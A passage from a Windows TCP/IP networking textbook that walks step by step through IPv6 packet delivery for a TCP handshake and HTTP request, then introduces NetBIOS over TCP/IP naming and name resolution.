2. The Web client constructs a TCP SYN segment message with the source IPv6 address of
2001:DB8:0:13::1 and the destination IPv6 address of 2001:DB8:0:48::3.
3. The Web client checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:48::3
and does not find a match.
4. The Web client performs the route determination process to find the closest matching route for the
destination IPv6 address of 2001:DB8:0:48::3. The default route (::/0) is the closest matching route.
The Web client sets the next-hop IPv6 address to FE80::A and the next-hop interface to the network
adapter attached to the 2001:DB8:0:13::/64 subnet.
5. The Web client updates its destination cache with an entry for 2001:DB8:0:48::3 with the next-hop
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 308
IPv6 address of FE80::A and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:13::/64 subnet.
6. The Web client checks its neighbor cache for an entry with the IPv6 address of FE80::A and finds a
match.
7. Using the neighbor cache entry for FE80::A, the Web client sends the unicast TCP SYN segment
destined for 2001:DB8:0:48::3 to the MAC address of Router 1's interface on the 2001:DB8:0:13::/64
subnet.
8. Router 1 receives the TCP SYN segment, checks its destination cache for an entry for
2001:DB8:0:48::3, and does not find a match.
9. Router 1 performs the route determination process for the destination address 2001:DB8:0:48::3. The
closest matching route is the route for 2001:DB8:0:48::/64. Router 1 sets the next-hop address to
FE80::E and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
10. Router 1 updates its destination cache with an entry for 2001:DB8:0:48::3 with the next-hop IPv6
address of FE80::E and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:21::/64 subnet.
11. Router 1 checks its neighbor cache for an entry with the IPv6 address of FE80::E and does not find a
match.
12. Router 1 sends a Neighbor Solicitation message to the solicited node multicast IPv6 address
FF02::1:FF00:E, querying the 2001:DB8:0:21::/64 subnet for the MAC address of the interface that is
assigned the IPv6 address of FE80::E.
13. Because Router 3 is listening on the solicited node multicast address of FF02::1:FF00:E, the router
receives the Neighbor Solicitation message. The router adds an entry to its neighbor cache for the
IPv6 address FE80::B and the MAC address of Router 1's interface on the 2001:DB8:0:21::/64
subnet.
14. Router 3 sends a unicast Neighbor Advertisement message to Router 1.
15. Router 1 updates its neighbor cache with an entry for the IPv6 address of FE80::E and the MAC
address of Router 3's interface on the 2001:DB8:0:21::/64 subnet.
16. Router 1 forwards the unicast TCP SYN segment destined for 2001:DB8:0:48::3 to Router 3's MAC
address on the 2001:DB8:0:21::/64 subnet.
17. Router 3 receives the TCP SYN segment, checks its destination cache for an entry for
2001:DB8:0:48::3, and does not find a match.
18. Router 3 performs the route determination process for the destination address 2001:DB8:0:48::3. The
closest matching route is the route for 2001:DB8:0:48::/64 (a directly attached network route). Router
3 sets the next-hop address to the packet's destination address of 2001:DB8:0:48::3 and the next-
hop interface to the network adapter that is attached to the 2001:DB8:0:48::/64 subnet.
19. Router 3 updates its destination cache with an entry for 2001:DB8:0:48::3 with the next-hop IPv6
address of 2001:DB8:0:48::3 and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:48::/64 subnet.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 309
20. Router 3 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:48::3 and does
not find a match.
21. Router 3 sends a Neighbor Solicitation message to the solicited node multicast IPv6 address
FF02::1:FF00:3, querying the 2001:DB8:0:48::/64 subnet for the MAC address of the interface that is
assigned the IPv6 address of 2001:DB8:0:48::3.
22. Because the Web server is listening on the solicited node multicast address of FF02::1:FF00:3, the
server receives the Neighbor Solicitation message. The server adds an entry to its neighbor cache
for the IPv6 address FE80::F and the MAC address of Router 3's interface on the 2001:DB8:0:48::/64
subnet.
23. The Web server sends a unicast Neighbor Advertisement message to Router 3.
24. Router 3 updates its neighbor cache with an entry for the IPv6 address of 2001:DB8:0:48::3 and the
MAC address of the Web server's interface on the 2001:DB8:0:48::/64 subnet.
25. Router 3 forwards the unicast TCP SYN segment destined for 2001:DB8:0:48::3 to the MAC address
of the Web server's interface on the 2001:DB8:0:48::/64 subnet.
26. The Web server receives the TCP SYN segment.
For the end-to-end delivery of the TCP SYN segment, the following has occurred:
The Web client sent the TCP SYN segment, and Router 1 and Router 3 forwarded it over the
2001:DB8:0:13::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:48::/64 subnets to the Web server.
The Web client's destination cache has a new entry for 2001:DB8:0:48::3.
Router 1's destination cache has a new entry for 2001:DB8:0:48::3. Router 1's neighbor cache has a
new entry for FE80::E.
Router 3's destination cache has an entry for 2001:DB8:0:48::3. Router 3's neighbor cache has entries
for FE80::B and 2001:DB8:0:48::3.
The Web server's neighbor cache has an entry for FE80::F.
TCP SYN-ACK Segment to the Web Client
When the Web server sends the TCP SYN-ACK segment to the Web client, the following process
occurs:
1. The Web server constructs a TCP SYN-ACK segment with the source IPv6 address of
2001:DB8:0:48::3 and the destination IPv6 address of 2001:DB8:0:13::1.
2. The Web server checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:13::1
and does not find a match.
3. The Web server performs the route determination process to find the closest matching route for the
destination IPv6 address of 2001:DB8:0:13::1. The default route (::/0) is the closest matching route.
The Web server sets the next-hop IPv6 address to FE80::F and the next-hop interface to the network
adapter attached to the 2001:DB8:0:48::/64 subnet.
4. The Web server updates its destination cache with an entry for 2001:DB8:0:13::1 with the next-hop
IPv6 address of FE80::F and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:48::/64 subnet.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 310
5. The Web server checks its neighbor cache for an entry with the IPv6 address of FE80::F and finds a
match.
6. Using the neighbor cache entry for FE80::F, the Web server sends the unicast TCP SYN-ACK
segment destined for 2001:DB8:0:13::1 to the MAC address of Router 3's interface on the
2001:DB8:0:48::/64 subnet.
7. Router 3 receives the TCP SYN-ACK segment, checks its destination cache for an entry for
2001:DB8:0:13::1, and does not find a match.
8. Router 3 performs the route determination process for the destination address 2001:DB8:0:13::1. The
closest matching route is the route for 2001:DB8:0:13::/64. Router 3 sets the next-hop address to
FE80::B and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
9. Router 3 updates its destination cache with an entry for 2001:DB8:0:13::1 with the next-hop IPv6
address of FE80::B and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:21::/64 subnet.
10. Router 3 checks its neighbor cache for an entry with the IPv6 address of FE80::B and finds a match.
11. Using the neighbor cache entry for FE80::B, Router 3 forwards the unicast TCP SYN-ACK segment
destined for 2001:DB8:0:13::1 to Router 1's MAC address on the 2001:DB8:0:21::/64 subnet.
12. Router 1 receives the TCP SYN-ACK segment, checks its destination cache for an entry for
2001:DB8:0:13::1, and finds a match.
13. Using the destination cache entry for 2001:DB8:0:13::1, Router 1 sets the next-hop address to
2001:DB8:0:13::1 and the next-hop interface to the network adapter that is attached to the
2001:DB8:0:13::/64 subnet.
14. Router 1 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:13::1 and finds
a match.
15. Using the neighbor cache entry for 2001:DB8:0:13::1, Router 1 forwards the unicast TCP SYN-ACK
segment destined for 2001:DB8:0:13::1 to the MAC address of the Web client's interface on the
2001:DB8:0:13::/64 subnet.
16. The Web client receives the TCP SYN-ACK segment.
For the end-to-end delivery of the TCP SYN-ACK segment, the following has occurred:
The Web server sent the TCP SYN-ACK segment, and Router 3 and Router 1 forwarded it over the
2001:DB8:0:48::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:13::/64 subnets to the Web client.
The Web server's destination cache has a new entry for 2001:DB8:0:13::1.
Router 3's destination cache has a new entry for 2001:DB8:0:13::1.
TCP ACK Segment to the Web Server
When the Web client sends the TCP ACK segment to the Web server, the following process occurs:
1. The Web client constructs a TCP ACK segment message with the source IPv6 address of
2001:DB8:0:13::1 and the destination IPv6 address of 2001:DB8:0:48::3.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 311
2. The Web client checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:48::3
and finds a match.
3. Using the destination cache entry for 2001:DB8:0:48::3, the Web client sets the next-hop address to
FE80::A and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:13::/64
subnet.
4. The Web client checks its neighbor cache for an entry with the IPv6 address of FE80::A and finds a
match.
5. Using the neighbor cache entry for FE80::A, the Web client sends the unicast TCP ACK segment
destined for 2001:DB8:0:48::3 to the MAC address of Router 1's interface on the 2001:DB8:0:13::/64
subnet.
6. Router 1 receives the TCP ACK segment, checks its destination cache for an entry for
2001:DB8:0:48::3, and finds a match.
7. Using the destination cache entry for 2001:DB8:0:48::3, Router 1 sets the next-hop address to
FE80::E and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
8. Router 1 checks its neighbor cache for an entry with the IPv6 address of FE80::E and finds a match.
9. Using the neighbor cache entry for FE80::E, Router 1 forwards the unicast TCP ACK segment
destined for 2001:DB8:0:48::3 to Router 3's MAC address on the 2001:DB8:0:21::/64 subnet.
10. Router 3 receives the TCP ACK segment, checks its destination cache for an entry for
2001:DB8:0:48::3, and finds a match.
11. Using the destination cache entry for 2001:DB8:0:48::3, Router 3 sets the next-hop address to the
packet's destination address of 2001:DB8:0:48::3 and the next-hop interface to the network adapter
that is attached to the 2001:DB8:0:48::/64 subnet.
12. Router 3 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:48::3 and finds
a match.
13. Using the neighbor cache entry for 2001:DB8:0:48::3, Router 3 forwards the unicast TCP ACK
segment destined for 2001:DB8:0:48::3 to the MAC address of the Web server's interface on the
2001:DB8:0:47::/64 subnet.
14. The Web server receives the TCP ACK segment.
15. Windows Sockets indicates to the Web browser that the requested TCP connection is complete.
The Web client sent the TCP ACK segment, and Router 1 and Router 3 forwarded it over the
2001:DB8:0:13::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:48::/64 subnets to the Web server.
HTTP Get Segment to the Web Server
When the Web client sends the HTTP Get message to the Web server, the following process occurs:
1. When the Web browser receives the indication that the TCP connection is complete, it constructs an
HTTP Get message with the source IPv6 address of 2001:DB8:0:13::1 and the destination IPv6
address of 2001:DB8:0:48::3, requesting the contents of the Web page from the Web server.
2. The Web client checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:48::3
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 312
and finds a match.
3. Using the destination cache entry for 2001:DB8:0:48::3, the Web client sets the next-hop address to
FE80::A and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:13::/64
subnet.
4. The Web client checks its neighbor cache for an entry with the IPv6 address of FE80::A and finds a
match.
5. Using the neighbor cache entry for FE80::A, the Web client sends the unicast HTTP Get message
destined for 2001:DB8:0:48::3 to the MAC address of Router 1's interface on the 2001:DB8:0:13::/64
subnet.
6. Router 1 receives the HTTP Get message, checks its destination cache for an entry for
2001:DB8:0:48::3, and finds a match.
7. Using the destination cache entry for 2001:DB8:0:48::3, Router 1 sets the next-hop address to
FE80::E and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
8. Router 1 checks its neighbor cache for an entry with the IPv6 address of FE80::E and finds a match.
9. Using the neighbor cache entry for FE80::E, Router 1 forwards the unicast HTTP Get message
destined for 2001:DB8:0:48::3 to Router 3's MAC address on the 2001:DB8:0:21::/64 subnet.
10. Router 3 receives the HTTP Get message, checks its destination cache for an entry for
2001:DB8:0:48::3, and finds a match.
11. Using the destination cache entry for 2001:DB8:0:48::3, Router 3 sets the next-hop address to the
packet's destination address of 2001:DB8:0:48::3 and the next-hop interface to the network adapter
that is attached to the 2001:DB8:0:48::/64 subnet.
12. Router 3 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:48::3 and finds
a match.
13. Using the neighbor cache entry for 2001:DB8:0:48::3, Router 3 forwards the unicast HTTP Get
message destined for 2001:DB8:0:48::3 to the MAC address of the Web server's interface on the
2001:DB8:0:47::/64 subnet.
14. The Web server receives the HTTP Get message.
The Web client sent the HTTP Get message, and Router 1 and Router 3 forwarded it over the
2001:DB8:0:13::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:48::/64 subnets to the Web server.
HTTP Get-Response Segment to the Web Client
When the Web server sends the HTTP Get-Response message to the Web client, the following occurs:
1. The Web server constructs an HTTP Get-Response message with the source IPv6 address of
2001:DB8:0:48::3 and the destination IPv6 address of 2001:DB8:0:13::1.
2. The Web server checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:13::1
and finds a match.
3. Using the destination cache entry for 2001:DB8:0:13::1, the Web server sets the next-hop IPv6
address to FE80::F and the next-hop interface to the network adapter attached to the
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 313
2001:DB8:0:48::/64 subnet.
4. The Web server checks its neighbor cache for an entry with the IPv6 address of FE80::F and finds a
match.
5. Using the neighbor cache entry for FE80::F, the Web server sends the unicast HTTP Get-Response
message destined for 2001:DB8:0:13::1 to the MAC address of Router 3's interface on the
2001:DB8:0:48::/64 subnet.
6. Router 3 receives the HTTP Get-Response message, checks its destination cache for an entry for
2001:DB8:0:13::1, and finds a match.
7. Using the destination cache entry for 2001:DB8:0:13::1, Router 3 sets the next-hop address to
FE80::B and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
8. Router 3 checks its neighbor cache for an entry with the IPv6 address of FE80::B and finds a match.
9. Using the neighbor cache entry for FE80::B, Router 3 forwards the unicast HTTP Get-Response
message destined for 2001:DB8:0:13::1 to Router 1's MAC address on the 2001:DB8:0:21::/64
subnet.
10. Router 1 receives the HTTP Get-Response message.
11. Router 1 checks its destination cache for an entry for 2001:DB8:0:13::1 and finds a match.
12. Using the destination cache entry for 2001:DB8:0:13::1, Router 1 sets the next-hop address to
2001:DB8:0:13::1 and the next-hop interface to the network adapter that is attached to the
2001:DB8:0:13::/64 subnet.
13. Router 1 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:13::1 and finds
a match.
14. Using the neighbor cache entry for 2001:DB8:0:13::1, Router 1 forwards the unicast HTTP Get-
Response message destined for 2001:DB8:0:13::1 to the MAC address of the Web client's interface
on the 2001:DB8:0:13::/64 subnet.
15. The Web client receives the HTTP Get-Response message.
16. The Web browser constructs the visual representation of the Web page at
http://web1.example.com/example.htm.
The Web server sent the HTTP Get-Response message, and Router 3 and Router 1 forwarded it over
the 2001:DB8:0:48::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:13::/64 subnets to the Web client.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 314
Chapter Summary
The key information in this chapter is the following:
The end-to-end delivery process consists of a source host process, a router forwarding process, and a
destination host process.
To send an IPv4 packet, an IPv4 source host checks its route cache (performing route determination if
needed) and then checks its ARP cache (performing address resolution if needed). When the source
host has determined the MAC address that corresponds to the next-hop address for the IPv4 packet,
the host sends the packet to the destination or to an intermediate router.
To forward an IPv4 packet, an IPv4 router decrements the TTL, updates the checksum, checks its route
cache (performing route determination if needed) and then checks its ARP cache (performing address
resolution if needed). When the router has determined the MAC address that corresponds to the next-
hop address for the IPv4 packet, the router forwards the packet to the destination or to another router.
To receive an IPv4 packet, an IPv4 destination host verifies that the packet is addressed to an IPv4
address that has been assigned to the host and then passes the IPv4 payload to the appropriate upper
layer protocol. For TCP and UDP traffic, the host passes the data to the listening application.
To send an IPv6 packet, an IPv6 source host checks its destination cache (performing route
determination if needed) and then checks its neighbor cache (performing address resolution if needed).
When the source host has determined the MAC address that corresponds to the next-hop address for
the IPv6 packet, the host sends the packet to the destination or to an intermediate router.
To forward an IPv6 packet, an IPv6 router decrements the hop limit, checks its destination cache
(performing route determination if needed) and then checks its neighbor cache (performing address
resolution if needed). When the router has determined the MAC address that corresponds to the next-
hop address for the IPv6 packet, the router forwards the packet to the destination or to another router.
To receive an IPv6 packet, an IPv6 destination host verifies that the packet is addressed to an IPv6
address assigned to the host and then passes the IPv6 payload to the appropriate upper layer protocol.
For TCP and UDP traffic, the host passes the data to the listening application.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 315
Chapter Glossary
ARP cache – A table for each interface of static or dynamically resolved IPv4 addresses and their
corresponding MAC addresses.
default gateway – The IPv4 address of a neighboring IPv4 router. Configuring a default gateway
creates a default route in the IPv4 routing table. The default gateway is an important parameter for
TCP/IP in Windows.
default route – A route that is used when the routing table contains no other routes for the destination.
For example, if a router or end system cannot find a network route or host route for the destination, the
default route is used. The default route is used to simplify the configuration of end systems or routers.
For IPv4 routing tables, the default route is the route with the network destination of 0.0.0.0 and the
netmask of 0.0.0.0. For IPv6 routing tables, the default route has the prefix ::/0.
destination cache – A table in which IPv6 stores the next-hop IPv6 address and interface for recently
determined destination IPv6 addresses.
longest matching route – The algorithm by which the route determination process selects the routes in
the routing table that most closely match the destination address of the packet being sent or forwarded.
neighbor cache – A cache that every IPv6 node maintains to store the on-subnet IPv6 addresses of
neighbors and their corresponding MAC addresses. The neighbor cache is equivalent to the ARP cache
in IPv4.
next-hop determination – The process of determining the next-hop address and interface for sending or
forwarding a packet based on the contents of the routing table.
route determination process – The process of determining which single route in the routing table to use
for forwarding a packet.
route cache – A table in which IPv4 stores the next-hop IPv4 addresses and interfaces for recently
determined destination IPv4 addresses.
router – A TCP/IP node that can forward received packets that are not addressed to itself (also called a
gateway for IPv4).
routing table – The set of routes used to determine the next-hop address and interface for IPv6 traffic
that a host sends or a router forwards.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 316
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 317
Chapter 11 – NetBIOS over TCP/IP
Abstract
This chapter describes the network basic input/output system (NetBIOS) over TCP/IP and its implementation in
Microsoft Windows operating systems. Although not required for a networking environment consisting of servers and
clients that are based on Active Directory, NetBIOS over TCP/IP is still used by NetBIOS applications that are included
with Windows. A network administrator must understand NetBIOS names and how they are resolved to troubleshoot
issues with NetBIOS name resolution.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 318
Chapter Objectives
After completing this chapter, you will be able to:
Define NetBIOS.
Define NetBIOS names.
Explain how computers running Windows resolve NetBIOS names.
List and describe the different NetBIOS over TCP/IP node types.
Explain how nodes use the Lmhosts file to resolve NetBIOS names of hosts on remote subnets.
Configure a local or a central Lmhosts file for resolving NetBIOS names of hosts on remote subnets.
Use the Nbtstat tool to gather NetBIOS name information.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 319
NetBIOS over TCP/IP Overview
NetBIOS was developed in the early 1980s to allow applications to communicate over a network.
NetBIOS defines:
A Session layer programming interface NetBIOS is a standard application programming interface
(API) at the Session layer of the Open Systems Interconnect (OSI) reference model so that user
applications can utilize the services of installed network protocol stacks. An application that uses the
NetBIOS interface API for network communication can be run on any protocol stack that supports a
NetBIOS interface.
A session management and data transport protocol NetBIOS is also a protocol that functions at the
Session and Transport layers and that provides commands and support for the following services:
Network name registration and verification.
Session establishment and termination.
Reliable connection-oriented session data transfer.
Unreliable connectionless datagram data transfer.
Protocol and adapter monitoring and management.
NetBIOS over TCP/IP (NetBT) sends the NetBIOS protocol over the Transmission Control Protocol
(TCP) or the User Datagram Protocol (UDP).
NetBT traffic includes the following:
NetBIOS session traffic over TCP port 139
NetBIOS name management traffic over UDP port 137
NetBIOS datagram traffic over UDP port 138
Figure 11-1 shows the architecture of NetBT components in the TCP/IP protocol suite.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 320
Figure 11-1 NetBT in the TCP/IP protocol suite
Requests for Comments (RFCs) 1001 and 1002 define NetBIOS operation over IPv4. NetBT is not
defined for IPv6. NetBIOS over TCP/IP is sometimes referred to as NBT.
Enabling NetBIOS over TCP/IP
You can enable NetBT for computers running Windows by opening Network Connections, right-clicking
a connection, clicking the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP)
component, clicking Properties, clicking Advanced, clicking the WINS tab, and clicking the appropriate
option in NetBIOS setting. Figure 11-2 shows the WINS tab.
Figure 11-2 The WINS tab for the Internet Protocol Version 4 (TCP/IPv4) component
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 321
For the NetBIOS setting, you can choose any of the following options:
Default Enables NetBT if the network connection has a static IPv4 address configuration. If the
network connection uses the Dynamic Host Configuration Protocol (DHCP), it uses the DHCP options
in the received DHCPOffer message to either disable NetBT or enable and configure NetBT. To disable
NetBT using DHCP, configure the Disable NetBIOS over TCP/IP (NetBT) Microsoft vendor-specific
option for the value of 2. This is the default setting for LAN connections.
Enable NetBIOS over TCP/IP Enables NetBT, regardless of the DHCP options received. This is the
default setting for remote connections (dial-up or virtual private network).
Disable NetBIOS over TCP/IP Disables NetBT, regardless of the DHCP options received.
NetBT is not required for computers running Windows unless you use NetBIOS applications on your
network, such as the Computer Browser service. The Computer Browser service maintains the list of
computers in the Network window and the Microsoft Windows Network window of My Network
Places. File and printer sharing with Windows Vista, Windows XP, Windows Server 2008, and Windows
Server 2003 can operate without the use of NetBT.
NetBIOS Names
A NetBIOS name is 16 bytes long and identifies a NetBIOS resource on the network. A NetBIOS name
is either a unique (exclusive) or group (non-exclusive) name. When communicating with a specific
process on a computer, NetBIOS applications typically use unique names. When communicating with
multiple computers at a time, NetBIOS applications use group names.
The File and Printer Sharing over Microsoft Networks component, also known as the Server service in
the Services snap-in, is an example of a service that uses a NetBIOS name. When the Server service
starts, it registers a unique NetBIOS name based on the computer name. The exact NetBIOS name
used by the Server service is the 15-byte computer name plus a sixteenth byte of 0x20. You configure
the computer name on the Computer Name tab of the System item in Control Panel. If the computer
name is not 15 bytes long, Windows pads it with spaces up to 15 bytes long. Computer names longer
than 15 bytes are truncated.
Other network services also use the computer name to build their NetBIOS names, so the sixteenth
byte typically identifies a specific service. Other services that use NetBIOS include the Client for
Microsoft Networks component (also known as the Workstation service in the Services snap-in) and the
Messenger service (not to be confused with Windows Messenger). The Workstation service, also
known as the redirector, uses the 15-byte computer name plus a sixteenth byte of 0x00. The
Messenger service uses the 15-byte computer name plus a sixteenth byte of 0x03.
Figure 11-3 shows the use of the NetBIOS names of the Server, Workstation, and Messenger services
in the NetBT architecture.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 322
Figure 11-3 Examples of NetBIOS names in the NetBT architecture
When you attempt to connect to a shared folder in Windows, NetBT attempts to resolve the NetBIOS
name for the Server service of the specified computer. After the IPv4 address that corresponds to the
NetBIOS name is resolved, the Workstation service on the client computer can initiate communication
with the Server service on the file server.
The Server, Workstation, and Messenger services and the services that rely on them—such as the
Computer Browser, Distributed File System, and Net Logon services—register NetBIOS names.
Windows network applications that access these services must use their corresponding NetBIOS
names. For example, workgroup and domain names that are used by the Computer Browser service to
collect and distribute the list of workgroups and domains are NetBIOS names. For more information
about workgroups and domains, see “Appendix C – Computer Browser Service.”
Common NetBIOS Names
Table 11-1 lists and describes common NetBIOS names that Windows network services use.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 323
Registered name
Description
ComputerName0x00
The name registered for the Workstation service.
ComputerName0x03
The name registered for the Messenger service.
ComputerName0x20
The name registered for the Server service.
UserName0x03
The name of the user currently logged on to the
computer. The user name is registered by the
Messenger service so that the user can receive net
send commands sent to their user name. If more than
one user is logged on with the same user name (such
as Administrator), only the first computer from which a
user has logged on registers the name.
DomainName0x1B
The domain name registered by a domain controller
that is running Windows Server 2008 or Windows
Server 2003.
Table 11-1 Common NetBIOS names
NetBIOS Name Registration, Resolution, and Release
All NetBT nodes use processes for name registration, name resolution, and name release to manage
NetBIOS names on an IPv4 network.
Name Registration
When a NetBT host initializes itself, it registers its NetBIOS names using a NetBIOS Name Registration
Request message. A NetBT host performs name registration by sending a broadcast message on the
local subnet or a unicast message to a NetBIOS name server (NBNS).
If the name being registered is a unique NetBIOS name and another host has registered that name,
either the host that previously registered the name or the NBNS responds with a negative name
registration response. After receiving the negative name registration response, the host typically
displays an error message to the user.
Name Resolution
A NetBIOS name is a Session layer application identifier. TCP/IP uses an IPv4 address as a Network
layer identifier of an interface. Therefore, when a NetBIOS application makes a NetBIOS
communication request of NetBT, NetBT must associate the NetBIOS name of the destination
application with the IPv4 address of the computer on which the application is running. The process of
mapping a NetBIOS name to an IPv4 address is known as NetBIOS name resolution.
When a NetBIOS application on a computer running Windows wants to communicate with another
TCP/IP host, the application broadcasts a NetBIOS Name Query Request message on the local
network or unicasts a NetBIOS Name Query Request message to an NBNS for resolution. In either
case, the NetBIOS Name Query Request message contains the NetBIOS name of the destination host.
Either the neighboring host that has registered the NetBIOS name or an NBNS responds by sending a
positive NetBIOS Name Query Response message. If the NBNS does not have a mapping for the
NetBIOS name, it sends a negative Name Query Response message.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 324
Name Release
Name release occurs whenever a NetBIOS application is stopped. For example, when the Workstation
service on a host running Windows is stopped, the host requests that the NBNS no longer respond to
queries for the Workstation service name. Additionally, the host no longer sends negative name
registration responses when another host on the local subnet tries to register the corresponding unique
NetBIOS name. The NetBIOS name is released and available for use by another host.
Segmenting NetBIOS Names with the NetBIOS Scope ID
The NetBIOS scope ID is a character string that is appended to the NetBIOS name and that isolates a
set of NetBT nodes. Without scopes, a unique NetBIOS name must be unique across all the NetBIOS
resources on the network. With the NetBIOS scope ID, a unique NetBIOS name must be unique only
within a specific NetBIOS scope ID. NetBIOS resources within a scope are isolated from all NetBIOS
resources outside the scope. The NetBIOS scope ID on two hosts must match, or the two hosts will not
be able to communicate with each other using NetBT.
Figure 11-4 shows an example organization that is using two NetBIOS scopes—APPS and MIS.
Figure 11-4 Example of using NetBIOS scopes
For this example, HOST1.APPS and HOST2.APPS are able to communicate with SERVER.APPS but
not with HOST3.MIS, HOST4.MIS, or SERVER.MIS.
The NetBIOS scope also allows computers to use the same 16-byte string as a unique NetBIOS name,
provided they have different scope IDs. The NetBIOS scope becomes part of the full NetBIOS name,
making the full NetBIOS name unique. In the example network in Figure 11-4, two servers have the
same computer name (SERVER) but different scope IDs. Therefore, they have different full NetBIOS
names.
You can configure a NetBIOS scope ID through the following:
By configuring the DHCP NetBIOS Scope ID option (option 47) (for DHCP clients)
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 325
By configuring the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\ScopeID
registry value on the local computer
Unless you are using NetBIOS scopes to specifically isolate NetBT traffic for different sets of NetBT-
capable computers, the use of NetBIOS scopes is discouraged.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 326
NetBIOS Name Resolution
NetBIOS name resolution is the process of successfully mapping a NetBIOS name to an IPv4 address.
TCP/IP for Windows can use any of the methods listed in Table 11-2 and 11-3 to resolve NetBIOS
names.
Method
Description
NetBIOS name cache
A local table that is stored in random access memory
(RAM) and that contains the NetBIOS names and their
corresponding IPv4 addresses that the local computer
has recently resolved.
NBNS
A server that complies with RFC 1001 and 1002and
that provides name resolution of NetBIOS names. The
Microsoft implementation of an NBNS is the Windows
Internet Name Service (WINS).
Local broadcast
NetBIOS Name Query Request messages broadcast
on the local subnet.
Table 11-2 Standard methods of resolving NetBIOS names
Method
Description
Lmhosts file
A local text file that maps NetBIOS names to IPv4
addresses for NetBIOS applications running on
computers located on remote subnets.
Local host name
The configured host name for the computer.
Domain Name System (DNS) resolver cache
A local RAM-based table that contains domain name
and IP address mappings from entries listed in the
local HOSTS file and names attempted for resolution
by DNS.
DNS servers
Servers that maintain databases of IP address-to-host
name mappings.
Table 11-3 Additional Microsoft-specific methods of resolving NetBIOS names
Resolving Local NetBIOS Names Using a Broadcast
NetBIOS names for NetBIOS applications running on hosts that are attached to a local subnet can be
resolved using a broadcast NetBIOS Name Query Request message. The process for using broadcasts
is the following:
1. When a NetBIOS application must resolve a NetBIOS name to an IPv4 address, NetBT checks the
NetBIOS name cache for the IPv4 address that corresponds to the NetBIOS name of the destination
application. If the name has been recently resolved, a mapping for the destination host is in the
sending host’s NetBIOS name cache, and the broadcast is not sent. The NetBIOS name cache
reduces extraneous broadcasts sent on the local subnet.
2. If the NetBIOS name cache does not contain the NetBIOS name, the sending host broadcasts up to
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 327
three NetBIOS Name Query Request messages on the local subnet.
3. Each neighboring host on the local subnet receives each broadcast and checks its local NetBIOS
table, which is a list of NetBIOS names registered by NetBIOS applications running on the computer,
to see whether the host has registered the requested name.
4. The computer that has registered the queried NetBIOS name sends a positive NetBIOS Name Query
Response message to the node that sent the NetBIOS Name Query Request message.
When the sending host receives the positive NetBIOS Name Query Response message, it can begin to
communicate with the destination NetBIOS application using a NetBIOS datagram or a NetBIOS
session.
Limitations of Broadcasts
Routers do not forward broadcasts. Broadcast frames remain confined to the local subnet. Therefore,
NetBIOS name resolution using broadcasts can only resolve names of NetBIOS processes running on
nodes attached to the local subnet.
You can enable NetBT broadcast forwarding (UDP ports 137 and 138) on some routers. However, the
practice of enabling NetBT broadcast forwarding to simplify NetBIOS name resolution is highly
discouraged.
Resolving Names with a NetBIOS Name Server
To resolve the NetBIOS names of NetBIOS applications running on local or remote computers, NetBT
nodes commonly use an NBNS. When using an NBNS, the name resolution process is the following:
1. NetBT checks the NetBIOS name cache for the NetBIOS name-to-IPv4 address mapping.
